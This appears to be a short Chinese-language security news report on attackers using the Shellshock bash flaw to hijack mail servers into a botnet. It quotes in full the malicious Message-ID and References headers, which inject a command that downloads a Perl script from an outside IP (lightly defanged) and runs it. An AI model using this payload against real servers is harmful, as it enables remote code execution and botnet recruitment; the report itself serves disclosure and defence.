攻擊者正利用上個(gè)月披露的Shellshock漏洞入侵郵件服務(wù)器建立僵尸網(wǎng)絡(luò)。
Shellshock漏洞是指攻擊者向使用bash的Unix/Linux服務(wù)器發(fā)送精心構(gòu)造的請(qǐng)求,誘騙bash遠(yuǎn)程執(zhí)行命令。安全研究人員報(bào)告,攻擊者向郵件服務(wù)器發(fā)送特定的消息頭字段,誘騙服務(wù)器執(zhí)行一個(gè) Perl腳本,成為僵尸網(wǎng)絡(luò)的一部分。
郵件消息頭的構(gòu)成是:
Message-ID:() { :; };wget -O /tmp/.legend hxxp://190-94-251-41/legend.txt;killall -9 perl;perl /tmp/.legend
References:() { :; };wget -O /tmp/.legend hxxp://190-94-251-41/legend.txt;killall -9 perl;perl /tmp/.legend